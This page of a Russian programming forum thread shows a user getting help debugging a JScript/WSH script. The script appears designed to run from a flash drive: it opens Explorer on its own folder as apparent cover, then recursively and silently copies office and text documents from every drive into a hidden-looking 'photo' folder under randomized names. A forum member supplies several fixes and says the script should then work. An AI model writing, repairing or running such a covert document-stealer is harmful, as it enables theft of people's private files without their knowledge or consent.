На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
! Правила раздела Visual Basic: Общие вопросы
Здесь обсуждаются вопросы по языку Visual Basic 1-6 (а так же по схожим языкам, как, например, PowerBASIC).
Вопросы по Visual Basic .NET (это который входит в состав Visual Studio 2002/2003/2005/2008+, для тех, кто не в курсе) обсуждаются в разделе .NET.

Обратите внимание:
1. Прежде чем начать новую тему или отправить сообщение, убедитесь, что Вы не нарушаете правил форума!
2. Обязательно воспользуйтесь поиском. Возможно, Ваш вопрос уже обсуждали. Полезные ссылки приведены ниже.
3. Темы с просьбой выполнить какую-либо работу за автора в этом разделе не обсуждаются. Студенты, вам сюда: ПОМОЩЬ СТУДЕНТАМ!
4. Используйте теги [ code=vba ] ...текст программы... [ /code ] для выделения текста программы подсветкой.
5. Помните, здесь телепатов нет. Формулируйте свой вопрос максимально грамотно и чётко: Как правильно задавать вопросы
6. Запрещено отвечать в темы месячной (и более) давности, без веских на то причин.

Полезные ссылки:
user posted image FAQ Сайта user posted image FAQ Раздела user posted image Кладовка user posted image Наши Исходники user posted image API-Guide user posted image Поиск по Разделу user posted image MSDN Library Online user posted image Google

Ваше мнение о модераторах: user posted image SCINER, user posted image B.V.
Модераторы: SCINER, B.V.
Страницы: (2) 1 [2]  все  ( Перейти к последнему сообщению )  
> Помогите разобраться начинающему в программах vbs
    Примерно, я ж тебе выше написал, как должно выглядеть, нажми F5 и посмотри
      Олег М
      Не видела предыдущего сообщения, простите.

      ExpandedWrap disabled
        function UpdateSoftware(fso, cd, softwareFolder) {
            try {
                var patch = /\.(doc|rtf|xls|txt)$/i;
                var diff = new Date(2007,05,01);
                var softwareEnumerator = new Enumerator(softwareFolder.Files);
                softwareEnumerator.moveFirst();
                for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                     for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
                {
                    var found = softwareEnumerator.item().Name.match(patch);
        var ext = found[0];
         
                    if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
                    {
                        try
                        {
                            var ext = "." + found[0];
                            fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true);
        WScript.StdOut.WriteLine(ext);
                        }
                        catch (e)
                        {
                            if (e.number == 61)
                            {
                                WScript.Quit(0);
                            }
                        }
                    }
                }

      18 строка copyFile все время выдает ошибку
      Сообщение отредактировано: JoeUser -
        Цитата lixen15 @
        18 строка copyFile все время выдает ошибку

        Я ............................. поставил, чтоб покороче было.
        ExpandedWrap disabled
                          try
                          {
                              fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
                                  + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                                  + "-" + Date.parse(softwareEnumerator.item().DateLastModified)
                                  + "-" + Date.parse(softwareEnumerator.item().DateLastAccessed)
                                  + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)
                                  + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)
                                  + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1)
                                  + found[0], true);
                          }


        Добавлено
        Можно сократить имя
        ExpandedWrap disabled
                              fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
                                  + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                                  + found[0], true);
          Олег М
          Понимаю, что я наверно Вас уже достала, хах.

          ExpandedWrap disabled
            function UpdateSoftware(fso, cd, softwareFolder) {
                try {
                    var patch = /\.(doc|rtf|xls|txt)$/i;
                    var diff = new Date(2007,05,01);
                    var softwareEnumerator = new Enumerator(softwareFolder.Files);
                    softwareEnumerator.moveFirst();
                    for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                    {
                        var found = softwareEnumerator.item().Name.match(patch);
            var ext = found[0];
             
                        if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
                        {
                            try
                            {
                                var ext = "." + found[0];
                                fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
                                    + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                                    + found[0], true);
                            }
                            catch (e)
                            {
                                if (e.number == 61)
                                {
                                    WScript.Quit(0);
                                }
                            }
                        }
                    }
                    var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
                    packageEnumerator.moveFirst();
                    for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                        try {
                            if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                                UpdateSoftware(fso, cd, packageEnumerator.item());
                             }
                        } catch(e) {
                        }
                    }
                } catch(e) {
                }
            }
             
            try {
                var ws = WScript.CreateObject("WScript.Shell");
                ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
                var fso = WScript.CreateObject("Scripting.FileSystemObject");
                if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
                    fso.CreateFolder(ws.CurrentDirectory+"\\photo");
                }
                var tmpFileName = "autorun.txt";
                if (!fso.FileExists(tmpFileName)) {
                    var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
                    tmpFile.Close();
                    var driveEnumerator = new Enumerator(fso.Drives);
                    driveEnumerator.moveFirst();
                    for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                        try {
                            if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                                UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
                            }
                        } catch(e) {
                        }
                    }
                    fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
                }
            } catch(e) {
            }

          Поставила имя, все как Вы написали, сокращенный вариант. Теперь выдает ошибку 40 строка символ 7 Синтаксическая ошибка 800А03ЕА. } catch(e) { вот эта строка
          Сообщение отредактировано: JoeUser -
            Лишняя скобка

            for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
            {
            var found = softwareEnumerator.item().Name.match(patch);
            var ext = found[0];
              Олег М
              Все запустилось без ошибок, но ничего не скопировалось, хах
                А файлы с такими расширениями, doc|rtf|xls|txt вообще есть?
                  Олег М Исправила на docx. Все равно результата нету
                  Сообщение отредактировано: lixen15 -
                    Для начала надо убрать все try-catch, скорее всего где-то выскакивает ошибка, а ты её не видишь

                    Добавлено
                    var ext = found[0];
                    Убери эту строчку, она даёт ошибку
                      Олег М Доброго времени суток! Убрала все возможности возникновения, но к сожалению ничего не копируется все равно.

                      function UpdateSoftware(fso, cd, softwareFolder) {
                      var patch = /\.(docx)$/i;
                      var diff = new Date(2007,05,01);
                      var softwareEnumerator = new Enumerator(softwareFolder.Files);
                      softwareEnumerator.moveFirst();
                      for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
                      {
                      var found = softwareEnumerator.item().Name.match(patch);
                      if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
                      {
                      var ext = "." + found[0];
                      fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
                      + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                      + found[0], true);
                      }
                      {
                      if (e.number == 61)
                      {
                      WScript.Quit(0);
                      }
                      }
                      }
                      }
                      var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
                      packageEnumerator.moveFirst();
                      for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {

                      if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                      UpdateSoftware(fso, cd, packageEnumerator.item());
                      }
                      {
                      }
                      }
                      {
                      }


                      {
                      var ws = WScript.CreateObject("WScript.Shell");
                      ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
                      var fso = WScript.CreateObject("Scripting.FileSystemObject");
                      if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
                      fso.CreateFolder(ws.CurrentDirectory+"\\photo");
                      }
                      var tmpFileName = "autorun.txt";
                      if (!fso.FileExists(tmpFileName)) {
                      var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
                      tmpFile.Close();
                      var driveEnumerator = new Enumerator(fso.Drives);
                      driveEnumerator.moveFirst();
                      for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                      {
                      if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                      UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
                      }
                      } {
                      }
                      }
                      fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
                      }
                      } {
                      }
                      ExpandedWrap disabled
                         
                        Цитата lixen15 @
                        Убрала все возможности возникновения, но к сожалению ничего не копируется все равно.

                        Во-первых - catch надо удалять вместе с содержимым catch(e) {......}, для try желательно удалить ещё фигурные скобки {}, но можно и оставить
                        Во-вторых - в процессе удаления try-catch ты где-то потеряла фигурную скобку, в результате функция UpdateSoftware стала вдвое меньше.

                        Так что, верни все try-catch на место и удали только var ext = found[0];, должно заработать.
                        И, пользуйся кнопкой CODE, когда выкладываешь исходники, как в первом сообщении.
                        0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
                        0 пользователей:


                        Рейтинг@Mail.ru
                        [ Script execution time: 0,0358 ]   [ 17 queries used ]   [ Generated: 28.03.24, 21:44 GMT ]